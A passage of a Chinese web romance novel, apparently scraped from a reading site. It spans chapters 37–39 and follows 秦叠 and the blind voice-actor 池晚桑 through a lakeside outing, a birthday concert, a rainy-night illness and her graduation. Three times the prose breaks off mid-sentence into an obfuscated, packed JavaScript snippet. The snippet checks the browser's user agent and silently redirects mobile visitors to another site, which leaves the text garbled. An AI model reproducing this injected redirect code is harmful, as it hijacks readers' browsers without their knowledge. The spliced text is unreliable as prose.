虽然昨晚他也碰过秦叠,却没有现在这么难堪。 他当时抱着一床被子回卧室时,听加秦叠自言自语说腰酸背痛,白天发生太多事,导致所有人,包括秦叠自己都忘了她早晨刚完成了半马比赛。 “累吗?泡个热水脚吧,我给你按按。”池晚桑躬身将被子叠在床上,温柔而细致,“今天因为桉羽的事对你有点疏忽了。” 秦叠捏着腿忙道,“没事没事,难得锻炼一次,疼一疼长记性。” 她的腿现在才稍微有了些反应,酸软发麻,像是小腿肌肉里在进行拉伸训练,将每一根血管和神经都绷得笔直僵硬。 池晚桑说:“听话,明天不然会更难受。你不是说盲人按摩都好吗?今天让你享受享受。” 池晚桑的技术确实不赖,他说他是大学的时候和其他特殊教育学生一并学的这门课,对盲人来说,匹配的工作少。但若是将穴道和经脉位置掌握好,凭借盲人独特的手法和感觉,能将推拿做到极致。 虽然他志不在此,但也略懂一二。 秦叠趴在床上的时候有些忐忑,有种做贼心虚的感觉,总害怕卧室门突然打开,看见这难以言喻的一幕,所以她咬紧牙关。 当池晚桑问她力道是否可以,还疼不疼的时候,她咬紧牙关。 “不疼,可以。” 当池晚桑说她颈椎有些问题,工作时候还是要注意多活动活动,避免日后形成病患,会更难受。 她咬紧牙关,从牙缝里呲溜出一个“好”字。 池晚桑觉得这姑娘怕不是痛感神经少了两根,还,挺能吃苦…… 秦叠很瘦,背后脊骨上似乎就薄薄地覆盖上了一层皮肉,瘦弱纤细的腿,池晚桑也不敢用太大力度,生怕弄折了她。 可能是昨晚专业操守和职业道德的保障,能让他坐怀不乱,今早一醒来就是这么个姿势,池晚桑心里叹了口气,默默闭上眼睛。 这种时候,敌不动,我不动,枪打的就是出头鸟。 这时,门外响起敲门声,许是见他们太久没动静,等得有点不耐烦了,毕竟客厅没有卧室睡得舒坦,苏木和陈藻醒得很早,“起床了啊两位,昨晚不会很晚才睡吧……” 虽然他后半句话已经是自言自语,但奈何他离门太近,一大早中气又十足,无处发泄,大摇大摆钻进秦叠耳朵里。 两人像是商量好了一样,找到一个契机,默契地弹开,之前种种如过眼云烟,只要不提,就不存在。 “早上好。”秦叠说。 池晚桑楞了楞,点点头,“早上好。” 春游地点定在郊区的淡水湖自然保护区,这里也是一个水库,平日里蓄水,雨季放水,周围水汽充足,常年绿化茂盛,市里鼓励全□□动,又围着湖泊修了一圈栈道,已经是附近居民休闲旅行必备场所。因为地方大,来的人虽然多,密度也小,稀稀拉拉的。 之前没有合适的机会来,秦叠恍然看见一片新绿和湖蓝壮阔地映入眼帘。 景区里有自行车,后座可搭人,他们租了三辆,苏木陈藻嫌女生骑得慢,沈桉羽林桐嫌他们没轻没重,正好划分两队。 秦叠和池晚桑又是剩下的一队。 秦叠车技不错,小时候也经常在镇上骑车玩,但家里只有一辆,所以一般去远一点的地方都是池晚桑载她。她就斜坐在前面的横杆,给池晚桑加油,让他超过秦东柏,一连四五公里,池晚桑气都不带喘的,这让她觉得不过如此,自己也可以。 可当池晚桑这么大一个人坐在后座上,她轻轻一蹬脚踏板没有动时,她才知道问题的严重性,而前面两组已经开启追逐模式,秦叠苦笑了笑。 来聆镜身体素质可是越发的好了。 “坐稳了池老板,带你追风去!”秦叠憋着气高喊一声,奋力一蹬,气势给足,车轮缓缓往前移动半分。 有些尴尬,秦叠又呜呼了一声,加点料,再干的气氛也能炒上去。只要起步之后就简单了,他们逆着风,他们朝上走,不回头,不叹息。 将希望都送进风里,带到远方。 秦叠蹬得兴致很高,也越发卖力,以至于后来停下的时候,坐在草坪上,还感觉双腿不自觉向下蹬,像个空转的机器。 太累了。 这车属于可折叠型,轮子小,卖力蹬一周,才出溜一小截。太累了。 秦叠摘下一根竹心,含在嘴里,隐隐有清甜,说:“你走慢点,林桐姐她们已经找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726163|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到踪影了。” 不知道为什么,池晚桑总是走得很快,即使在陌生的室外,秦叠也没见他放慢脚步,除了上次修路突如其来的无力,让秦叠看见他的慌张,他从来都是这样气定神闲,胸有成竹的样子。 秦叠凑成斗鸡眼,看了看嘴里叼着的竹心,快步走上去,“等等我。” “带你看一个东西。”池晚桑神神秘秘的,带着秦叠在竹林间穿梭,像是无头苍蝇,可他又走得坚定,秦叠只得跟上。 “你之前你来过这里吗?”秦叠走了一段路,总觉得不妥,正要凑上去,池晚桑却忽然顿住脚步,拦了她一下,她才没有依着惯性冲过去。 脚下石头一滑,顺着陡坡滚下,只听见咕咚一声,落入水中。 再抬头,眼前是一片半开阔岩洞,只有一寸高,有水从里面汩汩而出,清澈见底,娟娟细流,其上竹林影布石上。 “你喊一声试试。对着那个洞口。”池晚桑说,显然他是来过这里,只是没想到在乱林中还能准确找到位置。 虽然有点傻,秦叠不想拂了他的好意,似乎有什么东西想展示给自己,于是照做。 “你好啊!” 她喊了声,没动静。 秦叠正想回头,只见那泉水像个含羞的姑娘,寸寸缩回,收入洞中,本就极浅的水洼不一会儿竟然干涸了。 “这……我……你……”她一时被惊到,有些语无伦次。 池晚桑笑笑,“和含羞草一样,能给你回答。我看不见,但他们说看着挺可爱的。” 池晚桑摸索着坐在旁边石地上,“想着你养含羞草,应该对这个也感兴趣,就带你来了。” 秦叠很激动,看着小股水流又探头探脑地从黑漆漆的洞里出来,开心的像是个小孩,“太神奇了!” 水又缩了回去。 “你经常来这里吗?” 池晚桑挑了挑眉,“怎么可能,这儿对我来说太远了。一般和苏木他们一起来。” 笑里却有些无奈。 秦叠没应声,他又接着说:“八荒寻仙那个导演联系我了,福利工资不错,还可以提前预支一部分。” 秦叠没懂他什么意思,啊了一声,恭维了一句“恭喜恭喜。”心里忍不住嘀咕,旱的旱死,涝的涝死。 池晚桑皱了皱眉,没说话。 这时手机响了,铃声又将那泉水给吓了回去,秦叠不由得觉得这也忒没骨气了些,比起家里的含羞草,还是差太多,别人起码要摸到了才会含羞,这一有响动就风声鹤唳草木皆兵的,啧啧啧。 是苏木打过来的,语气神秘,小声说话仿佛害怕被池晚桑听见,“喂,你们在哪儿,待会儿我们给池晚桑提前过生日,定了蛋糕,我发你位置,你把他带过来。” 挂电话之前还临了补充了句,“明天留给你俩,这回我们都有眼色哈哈哈,哈哈哈哈……” 秦叠被他笑得心虚,在魔性的哈哈中急忙挂了电话。 然后就看见手机的预定成功消息,以及提醒明天演唱会准时到达的短信。 她丈二和尚点进去看,竟然是她和池晚桑的身份证买的,一人一张,还在前排。 秦叠有些肉疼。 然后她神情复杂地看向一旁的池晚桑。 他正俯身玩弄泉水,修长指节勾起点点涟漪,小心翼翼去触碰那层冰凉,接触水面时惊了一下,指尖微曲,随即脸上绽开释然的笑。 这是怎么回事? 37. episode37 “怎么了?”池晚桑听秦叠接完电话沉默半晌,问道。 秦叠摇了摇头,说来话长,“没事,苏木他们让我们快过去,他们太饿了。” 池晚桑起身,拍了拍身后的灰尘,他站在高处,将密林顶部的阳光遮住,无数尘埃在光影里盘旋,找不到落点。 “走吧。” 像个无根的枯木,飘零的浮萍。 池晚桑能顺利找到出林子的路秦叠不奇怪,他在所有人一哄而起,准备所谓的生日惊喜时,仍旧笑得淡雅,也不奇怪。 秦叠不由地问:“你早知道了?” 池晚桑笑着说:“明天生日,今天又要出来团建,不就顺便了嘛。” “才不是顺便,明天给你们放个假,工作室也沾沾光,不挺好的吗?”林桐笑着递过来一份蛋糕,“生日快乐,池老板。” 其余三个人盘腿坐在垫子上,嘴里包满食物,跟着朝这边参差不齐又喊了句:“池老板生日快乐!” “谢谢。”池晚桑接过蛋糕,秦叠带着他走过去坐下,自己也切下一块,奶油甜香松软,蛋糕蓬松不腻,她挑了块奶油最多的,满足地一口包下。 好甜。 想着明天又不用上班,心里也是甜滋滋的。不过,这不上班是给池晚桑留休息的时间,她手机里还有两张票,不知道要不要说。 她抬头望了眼旁边的池晚桑,他很少笑得这样无所顾忌,开怀。眼睛弯成两弯月亮,琥珀瞳仁在阳光下反射晴朗的天空,里面似有光。他笑起来嘴角有隐约两条括弧,很好看,像个无忧无虑的少年。 聆镜明天又放假,这样随意,也不知道是喜是忧。明天正好有毕业典礼,秦叠这下无痛请假,倒也省得麻烦。 回去的路上秦叠没有说话,池晚桑问她,“有什么想说的吗?” 这家伙,绝,绝对,有读心术吧! 秦叠捏了捏手机,憋住一口气,“那个,今晚上薛简言演唱会你想去听吗?” 她说得很快,嗡嗡嗡一阵,口齿不清的,这点听力难度可难不倒我们池老板,池晚桑听后笑得更开心了,“终于想起来了?” “什么?” 演唱会门票是秦叠生拉硬拽非要买的,这怪不得池晚桑。 她喝醉了那晚,问池晚桑这些年有交过女朋友吗,语气有些委屈,带着些撒娇,眼睛却明亮地像是要把他看穿。 “没有。”池晚桑说得坦荡,将过于倾斜着靠近他的秦叠扶正,手退回去半截,虚虚地扶着,“我眼睛的条件不太方便。” 可能是夜色醉人,可能是空气中密弥漫的酒精让他不太清醒,也可能是耳边的女孩让他想起什么,不由地多说了些,“不能一起去爬山,不能躺在山顶看星空,不能一起去电影院看电影,甚至约会,都需要帮忙。” 他苦笑了笑,“除了你,没人能接受。” 秦叠脸上晕出苹果色,秀眉微蹙,“可是,可以一起在山顶听风听自然的呼吸,可以一起听演唱会音乐会,还可以在漆黑一片的时候,你能从容不迫地带着她走啊。” 秦叠说着就从身后沙发上拿来手机,认真而略显着急地打开订票软件,皱着眉抿了抿嘴,“我看你生日前一天薛简言有演唱会,我们去听吧!” “你……”怎么知道我生日? 话还没说完,秦叠又大声说,“坐后面音响效果不一定好,我这次下血本了,池晚桑,我们一起去听演唱会吧!” 酒精作用下,她说得急促而中气十足,眉头有淡淡扫不开的阴霾,在池晚桑同意的时候,云开。 但她第二天竟然忘了这茬! 秦叠埋头捏了捏眉心,有些窘迫地斜着眼睛瞥池晚桑,他却笑得坦然,盲杖不疾不徐轻敲在面前,“秦叠,一起去听演唱会吧。” 像是他在重新邀请,绅士的,卑微的。 “那好吧。”秦叠跟着他的语气,故作为难地演了演,“薛简言,唱的也还行吧。诶……你别笑啊,我还没说完呢……你……” 秦叠也跟着大笑,两个人在路上像是被戳中了笑穴,笑得毫无顾忌。池晚桑自然看不见别人投来好奇的目光,秦叠却不想管,像个疯子一样,一起在路边傻笑,在别人打探的眼神中走向自己的目的地,骄傲,又自洽地。 回家。 演唱会在体育馆举行,上上下下布置得精心,可惜池晚桑看不见,秦叠就给他描述。旁边有一两个小姑娘看见池晚桑想过来搭讪,秦叠立马凑在他耳边说,音乐声太大,然后有的没的说一通。 可惜灯光亮起的时候,他还是会错过舞台上绝美的场景布置和眼花缭乱的灯光,即使对正常人来说有些晃眼睛。 他却没有丝毫烦恼。 “在黑夜里奔跑,在废墟里寻找, 那月光照在我身上,我身旁却空荡。 你还在吗? 能永远吗? ……” 秦叠被晃得睁不开眼,她扭头看旁边的池晚桑,他坐得笔直,眼睛望着舞台的方向,脸上微微有笑,却平静淡然,无喜无怒。 不知道他在想什么,但此时他,静默在黑暗里,孤独笼罩了一身,即使身在喧嚣也洗不掉的清冷。 但月光洒落他身上,而她在身边。 “生日快乐,池晚桑!”秦叠还没对他说过,忽然在耳边轻轻道。 池晚桑恍然间扭头,秦叠笑了笑,又说了句“生日快乐。” 更大声一点。 池晚桑想回复,却忽然听见舞台上话筒的声音,“生日快乐,池老板!” 原来就在刚才,大屏幕镜头对准他们俩,秦叠微仰头,亲昵地像是在他耳边说悄悄话。而他回头与她对视,目光相触的一瞬,似跨越了千年。 池晚桑知道薛简言这边一定是秦叠提前打的招呼,他头也没回,自然地向着秦叠俯身过去,在她耳边用只有两人才能听见的声音说: “谢谢你。” 简单一句道谢,却像极了缠绵的情话,让秦叠耳根发烫,回忆起来,她不记得当时观众在起哄些什么,薛简言又在台上串场了什么。 像是被声音蛊惑,即使演唱会再嘈杂喧闹,她还是只能听见他的声音。 “谢谢你。” 回去的路上有些小雨,人群太拥挤,秦叠像个保镖一样左右护卫在池晚桑周围,将他和旁人隔开。楼下的自行车并没有像苏木说的整齐排放,可能经不起风雨,轻轻一刮就倒了。他们绕过这场狼藉匆匆上了楼。 秦叠让池晚桑先洗澡,自己神经紧绷了一晚上,需要在沙发上放空一会儿。窗外雨声渐大,她想起小时候,她对打雷冰雹这类恶劣天气并不犯怵,有一回夜里忽然大雨,闪电点亮窗外的院落,她发现晾晒的衣服没有人记得收回来,忙急着起身去收。 那天池晚桑住在秦东柏房间,她和哥哥还相安无事,池晚桑见她急着穿雨衣要冲出去,门一开,娇小的身体却踉跄了下,雨衣在身后被风鼓出一个大包,她右手遮在眼前毫不犹豫就要出去。 却被拉住了。 “会湿的。” 池晚桑把她拉回去,看了看院子里的衣裳,头也没回地走了回去,秦叠并没有在屋里等着,也跟在他身后抱着一堆又一堆比她个子还高的衣裳。 她这次也算保护他了吧,秦叠想。忽然感到腹中一阵酸痛,秦叠猛地起身,楞在卫生间外,又进屋去找卫生用品。 从她来池晚桑这儿住,还没买过! 真是屋漏偏逢连夜雨,秦叠皱了皱眉,拿上手机和雨伞就冲了出去。 楼下有个人穿着雨衣在挪散落一地的自行车,秦叠路过时瞅了两眼,回来时他竟还在。秦叠叹了口气,对他喊:“别弄了,待会儿一刮风又倒了!” “马上好了!”那人也对她喊道。一阵雨夹风,眼看着刚排好的车又要被冲倒,秦叠暗骂了句这是哪个倒霉又死心眼的物业,尽责也不是这样尽的,抬脚跟上去扶住歪斜的车。 她对那人喊:“快点帮我扶正,一起倒下来太重了。” “谢谢啊!” 风雨中听不太清声音,那人包裹得严实,只露出一双眼睛,显然是专门来处理这片狼藉的,秦叠心里感激,收回之前腹诽物业的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729320|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 风是一阵阵的,猛地一刮,力道忽然增大,将秦叠雨伞挂成蒲公英的种子,炸毛了那种,雨点子毫不客气地打在她脸上。 那人见她狼狈样子,不好意思地说了句:“你先回去吧!” 秦叠并不理他,索性丢开伞,伸手擦了擦眼前的雨水,“快点,你一个人应付不过来,挪到靠墙的位置去!” 于是等她回去的时候,池晚桑明显感觉到一阵潮湿,像是水里的怪物,身上挂着水草,湿漉漉滴水地出来寻觅食物。 但秦叠不说,他发现不了。 “出去了?”池晚桑用毛巾揉了揉头发。 “嗯,出去买了个东西。”秦叠捏捏鼻子,有些酸涩。 “外面雨大吗?” “还好。我先洗澡去了。” “好。”池晚桑在窗边听了会儿雨声,没再说什么。 傍晚。 池晚桑是被门外的咳嗽和喷嚏声给惊醒的。 他打开门时,什么都没来得及问,就听见秦叠浓重的鼻音,略带沙哑的嗓子有些委屈和无奈地问:“我好像感冒了,家里有药吗?” 等秦叠将感冒药就着热水下肚,池晚桑一直黑着脸,一言不发。 秦叠以为他是困极了,有些愧疚道:“抱歉吵醒你了,我尽量小点声咳,你先回去睡吧。” “刚才下楼淋雨了吗?”池晚桑面无表情,只是问。 “刚来聆镜怎么和你说的,干这一行要学会保护自己的嗓子。” 秦叠脑子里一阵闷热,迷迷糊糊地道歉,说自己再不会了,身下小腹疼痛一阵接着一阵,她只觉得眼前都快重影了。 池晚桑叹了口气,起身,对她伸出手,“快去休息吧,明天不是说有毕业典礼吗?” 秦叠全身酸软无力,伸手握住他的手,借力就要起来,“好。” 握住她的那只手却没有松开,捏紧了她,因为池晚桑敏锐地察觉到秦叠体温的异样,“你发烧了?” 说着就往回走,“我去给你拿毛巾和热水。” 这回秦叠笑着摇了摇头,“你去睡吧,我自己能行。” 推开了他的手。 池晚桑知道自己不能妥帖照顾她,连最基本的倒水和看温度计他都不行。 那只手僵在半空中,指节微微蜷曲了下。 秦叠知道她不放心,也没真的赶他睡觉,自己折腾一大圈,先是量体温,又是在额头上敷毛巾,所有流程她一个人住的时候都经历过,只要不是病入膏肓,并不算太难。 她躺在自己床上,换完最后一次热水,看着温度计的水银柱缓缓降下去,扭头对抱着手满脸愁容坐在飘窗上的池晚桑说: “退的差不多啦,去睡吧,你陪了我这么久了都。” 池晚桑走过来,她拉着他的手在自己额头碰了碰,俏皮地说:“看吧,我没撒谎。退烧了。” 之前生病都是一个人挨过来的,秦叠不觉得有什么。可人就是这么贪心,得到了就想要更多,习惯性顾影自怜,看见池晚桑又让她想起以往太多事。 他是何如背着流鼻血的自己去校医院,如何在雨里奋力和她营救那些衣裳被单,如何在她“无家可归”的时候,变着花样做饭给她吃,如何载着她骑过一个又一个山头…… 但池晚桑对着眼前的秦叠,并没有感情,只是出于礼貌和涵养,还有他们之前奇怪的约定,让他对她一再关心,一味忍让。 确认再三,池晚桑才要挪步离开。 窗外电闪,忽然照亮了屋子一瞬。 人在生病的时候就矫情,鬼使神差的,秦叠坐起来,伸手拉住了他。 她的手很烫。 “怎么了?”池晚桑停住脚步,回头看她。 秦叠咽下汹涌的情绪和即将夺眶的泪水,尽量用平常的语气嬉笑着说:“停电了。” 池晚桑愣在原地,偶尔一阵电闪将他照得清晰,身材挺拔,在她床前,像一座沉默的大山。 其实早在他把秦叠从沙发上拉起来的那一刻就停电了。 但是他并不知道。 38. episode38 秦叠不想让他照顾自己,一是觉得太麻烦人家,二是黑灯瞎火的,万一池晚桑出事了,她更不好善后。 她习惯了自己一个人慢慢来,藏在暗处独自舔舐伤口,偶有一两个迷路的人路过她,她也会将手背在身后笑着指路。 她甚至以为会永远一个人。 未曾预料过的重逢,不是云开见月,没有波澜起伏,缓缓的,那经年埋藏的情感,在没人打扰的时候,又从一寸高的山涧里冒出头来。 她甚至都没察觉。 “你困吗?再坐一会儿吧。”秦叠都对自己有些无语,去留都是她一个人说了算,她有些不敢抬头看池晚桑,却忽然感觉到床脚微微塌陷,池晚桑一声不吭地坐了下来。 他问:“很难受吗?” 秦叠嗯了一声,“还有点肚子疼。”她觉得没什么可遮掩的,又叹了口气地躺回去,“哎,你,困了?” 她几乎是下意识扑上去拉住他,秦叠觉得自己那时候简直丢了大人。池晚桑没料到她反应这么大,又怕她摔下床,几乎是,被秦叠给按在床尾。 手感不错,秦叠手掌撑在他腰腹的位置,甚至能感受到块垒的轮廓,再前进一厘米,她就会亲上他的喉结。 早上想咬一口的喉结。 “哈哈哈,哈哈哈。”秦叠慌乱中撑着他起身,池晚桑被忽然的力道给压得闷哼一声,“有腹肌,练的不错。” 池晚桑什么表情她看不清,秦叠只能借着屋外微弱的光看清他的轮廓,只见他起身,秦叠心道玩脱了,池晚桑却只留下一句话:“给你拿个东西。” 他再回来的时候手里多了一副肚脐贴,说是有缓解作用。 “神秘的东方力量。”池晚桑笑了笑。 “难受的话就给你家人打电话吧,这几天我可以搬到苏木那儿去住。”池晚桑替她掖好被子,密不透风的,像一个毛毛虫。 秦叠有些尴尬地接过肚脐贴,瞥了一眼池晚桑,他将头偏在一边,虽然看不见,也给足了她尊重。秦叠撕开包装,贴上后,往被子里钻了钻。 “不用,这种事他们帮不上忙,听了干着急,也睡不着觉。” 她不知道谁还能为她睡不着觉,反正不是爸妈。 也许外婆会难受。 但外婆不在了。 “你很棒。”池晚桑忽然没头尾来了一句。 秦叠说:“什么?” 池晚桑笑了笑,“你不是说照顾植物有很多讲究嘛,虽然偶尔会威胁一句‘不开花就剪掉它’,但是多鼓励,才会长得更好啊。” 秦叠有些诧异,还是问:“什么?” 她反应过来,重点却落在了为自己正名上:“是真的,植物通人性,你看它马上就会茁壮成长的。” 池晚桑没接她的茬,又问:“睡不着,想做什么?” 语气温柔缠绵,暗香浮动月黄昏般缱绻,但秦叠脑子发热,一点没受影响,她平躺下去,转了转眼珠,“诶,不如趁此机会你传授我一些配音技巧吧。”近水楼台至此,她还没有先得过月呢。 池晚桑于是教她配音中常用的共情技巧,从台词发音到情感运用和剧本解读,非常之理论化,非常之无聊,可他声音却很好听,偶尔带入场景,又听得人心慌慌的。 这样下去,不只身体难受,精神上也要出问题了。 秦叠及时止损,叫了暂停。 池晚桑说:“那我给你念书吧?” “可是停电了……” 黑暗里,他轻笑了声,“我看书不需要光。” 池晚桑找来一本盲文版的故事集,秦叠往里面挪了挪,他靠坐在床头,仰头靠在墙上,将书平置于膝盖,一个字一个字地抚摸过去。 明显不太熟练,欣喜若狂只能翻译出开心,愤怒至极只能翻译出难受,似乎所有情绪在他这儿都淡淡的,像雨后的云,可以投射出月光。轻薄如雾。 池晚桑就在床边坐了一整夜,秦叠躺在他怀里,像是习惯了这种睡姿。明明才第二晚而已。 池晚桑觉得自己一定是昏了头了,醒来的时候已经是早上八点,浑身酸疼难受,他推了推手腕下面的秦叠,“秦叠,起床了,九点不是有开学典礼吗?” “再躺半小时。”秦叠翻过身去,背对着他,池晚桑这才得空舒展舒展胳膊和双腿,一晚上没动,像是被插进了千万根钢针一样刺痛。 他活动活动脖子,有些严肃地说:“八点了哦。” 话音未落,秦叠眼皮弹开,上半身弹起,诈尸一样笔直地坐在他旁边,懵懂间,自言自语了两句:“八点了。” 又是一顿风风火火,很难说她是不是为了掩饰尴尬而刻意如此,不过是很难得睡了一个懒觉,秦叠出门的时候,只觉得神清气爽。 今天虽然给池晚桑放假,他早上还是了去工作室一趟,毕竟今天沈桉羽配的音对她来说很重要。 他想在场。 秦叠难得有久违的赶早八型局促,还好池晚桑住的离学校也不远,她在楼下买了蒸包和豆浆,一边套黑色粉领学士服,一边往往学校狂奔。 场面一度十分狼狈。 进了校门后,她便不显得突兀了,学校里有一种天然的包容氛围,将社会上的偏见和恶意都阻拦在外,大学生能按照自己的想法自由发展。 比如,前面粉头发,超短裙的辣妹,周围没有鄙夷打探的视线,她走得自信;还有穿着cos服,浓妆艳抹,举着什么法器的人,决定用这一身上台去拿学士证和毕业证。这里人们来自五湖四海,肤色各异,性格不同,四年前相聚于此,在今天即将各奔东西。 “师姐!”周静昀拿着相机对准秦叠,在她转身的一刻,记录下穿着学士服慌张吃蒸包的一幕。 余庆捧了一束向日葵走过来,开得艳丽明媚,“师姐,毕业快乐!” “谢谢!”亲叠收下捧花,嘴角笑得合不拢,“爱你们。” 早上趁着天不热,很多毕业生和自己来观礼的爸妈在校园里合影,秦叠也有自己的合影搭子。 两人帮她收拾学士服,套上领子,手里还抱着学校送的吉祥物,和学校的标志性建筑物一顿拍照。 “微笑。”“好,稍微侧身。”“很好很好。”“余庆过来拿着,我要和师姐合影……” 拍完照后,两人又手忙脚乱地说:“快快快,典礼要开始了。我们翘了早八出来的。” 大学生也一样可以雷厉风行。 学校里也有这样令人艳羡的友情,她庆幸自己拥有过。 典礼开始前,有几段毕业生表演,秦叠本科体育课表现不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733372|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要上场表演太极,将东西放到座位,又气喘吁吁跑去后台,总算才没误了良辰吉时。 太极听着老成,但一群正值青春的学生在一身腱子肉的体育老师带领下,出手有风,柔中带钢,扎紧马步,动作敏捷,很有一派武林高手的帅气。 在快结束的时候,秦叠看见台下自己座位旁边的人,忽然吓了一跳。 池晚桑在人群里很显眼,身材高挑,微微屈身,绕过前面的人准确地找对位置,然后将一捧紫色小雏菊放在她座位上。 他二郎腿微翘,慵懒地靠在红色布料的座位,显得他皮肤更加白皙。葱削的手指在扶手上按顺序敲打,有些玩味的冷调。 但眼看着池晚桑身上目光聚集越来越多,秦叠脑袋里只有一个想法:他怎么来了?不是去工作室了吗? 当她把脑袋里这个疑问原模原样抛给池晚桑的时候,池晚桑挑了挑眉,“过来参加你的毕业典礼,不欢迎吗?” 秦叠余光里看见几个看戏的人正津津乐道看向他们这边,她坐下来,放低音量,“欢迎欢迎,谢谢你的花。” 就是你长得太扎眼,她有些不习惯罢了。 “顺便给你交学费。” 池晚桑冷不丁又蹦出一句话,舞台上下个节目是民族舞表演,演员零落分散在舞台上,表演大雨来临手足无措的无助感。 秦叠此时脑子里也一阵轰鸣,“什么?” 池晚桑虽然看不见,眼睛却一直没离开舞台,继续说:“我没你想的那么穷,交硕士学费还是有余力的。不是免费送你,你放心,没有利息,慢慢还给我就行。” 旁边秦叠一时语塞,不知道该说些什么,池晚桑这才转头,伸手在她额头上轻敲了敲,又扭过头,说:“学不好就加利息,时不时给点压力才能长得更好不是吗?” “嗯,不开花就剪掉。”秦叠嘴角上扬,感激地看向池晚桑,他什么都没问,她却隐瞒聆镜想在职读研,对比之下,她有些以小人之心度君子之腹了。 “谢谢老板!”秦叠将捧花送到鼻尖,肆意地闻了闻,“一定开花!” 此时旁边一女生借过,走到秦叠另一边,没好气地说:“没钱就不要读研了吧,导师和你关系好,占着茅坑不拉屎,能不能为别人想想。” 白眼都快翻到天上去了,但秦叠希望她翻不下来。 秦叠并不喜欢争吵,但也不怵她。本科期间这女生就一直把自己当做她的假想敌,处处争对,样样比拼,秦叠对她印象不算太好。 她也双手抱胸,没好气道:“我会去读的,你放一百个心。成绩差一点就是差一点,没有机会也不能怪别人。” 女生斜着乜了她这边一眼,发现了秦叠身边的池晚桑。他今天穿得正式,黑色西装,身材将衣服撑得非常好看,绅士又威严。 “哟,傍上大款了?” 她声音很小,故意凑在秦叠耳边,尖声怪气,像个女巫,可秦叠不想扯上池晚桑,转头瞪了她一眼,正要发作。 身后慢悠悠传来倦怠的男声,“嫉妒吗?” 说罢冷嘲一声,语调里清冷阴鸷至极,池晚桑连头都没回,只啧了一声,没好气道:“大款傍不上,羡慕了?” 他低头缓缓整了整衣袖,样子极傲慢又不耐烦,就连秦叠也吓了一跳。 39. episode39 不只秦叠,池晚桑的气势将她旁边的女生也给吓了一跳,加上他对声音得天独厚的把控能力,语气简直犹如赤.身.裸.体.身处寒冬腊月,又被人不知好歹地从楼上浇下一盆冰水,彻骨寒凉。 他本就穿的正式,不盯着他的眼睛根本看不出他的异样,正要撩起眼皮往秦叠这边瞟。那女生却是个好汉,能屈能伸,读不了研本意就是来恶心一下秦叠,没想到别人身后有人。此时狠剜了两人一眼,颇有气势地弃城而逃。 “她走了?”池晚桑小声在秦叠耳边问,语气里恢复了往日的温婉与和善。 “嗯。”秦叠说。 池晚桑长舒一口气,“吓死我了,要是她和你打起来,我还真不一定能帮上忙。” 秦叠被这莫名的猜测给逗乐了,“不会打起来的,放心吧。” 逼到极点,不出所料的话,秦叠会退一步,她不想惹一身骚,也和她见不得吵架有些关系。 他们坐的位置靠边,不仅有里面的人因为节目太无聊,随时准备尿遁,需要让座。旁边过道里时不时路过一个认识的人,还得少不了寒暄。 此时秦叠的辅导员也准备尿遁,从她旁边借过的时候,不禁多瞅了两眼池晚桑,放慢的脚步刚好将秦叠挡的死死的。 她咳嗽了两声,“老师好。” 导员保持弯腰的姿势,以免将后面的人挡住,脸上一阵惊喜,“秦叠你的声音越来越好听了,不错,保持这样的状态,你会得到自己想要的。” 秦叠礼貌性笑了笑,对这个导员她并不反感也不感激,属于背后的保障吧,平时交流不多,但关键时刻也能发挥些作用。 “谢谢老师。” 导员嗯了一声,又回头看了两眼池晚桑,眼神没落在秦叠身上,却对她说,“毕业快乐啊。” “谢谢导儿。” 她走后,池晚桑才皱了皱眉,“她为什么一直看我?我脸上有菜吗?“ 秦叠装傻,撇撇嘴道:“谁知道呢,可能觉得你长得太老了吧,不像眼睛里有清澈的愚蠢的大学生。不过你又是怎么知道的,不会你复明了吧?” 池晚桑并不恼,挤眉弄眼道,“她说话声音一直正对着我,而且……” “而且什么?” 池晚桑有些无奈,说出来不太礼貌,但却是事实,“而且,她有些口气。” 秦叠差点没绷住,没想到池晚桑这么实诚,捂着嘴巴在一旁颤个不停。 池晚桑轻笑了声,“不过看来聆镜对你的训练很有效果,短短两三个月,你们辅导员都听出来你的进步了。” “那是,我的眼光不会错。”秦叠颇有些骄傲地说,“放心,以后我靠这一身本领,自己长成大款,到时候随便你傍。” 池晚桑听后又恢复懒散的姿势靠在椅背上,“你长成大款先不着急,刚才打太极我没看见,真是有点可惜了。” 秦叠听出他话里有几分嘲弄,却无恶意。本就是个人喜好,她这个年纪打太极确实是少见,“那回去给你表演。”她爽快道。 “不用了,”池晚桑顿了顿,“回去弹个吉他给我听吧。” “也可以。”秦叠忽然想到什么,反正对节目也毫无兴致,又往池晚桑耳边凑了凑,“诶,你声音这么好听,之前在学校没少被拉着表演吧?” 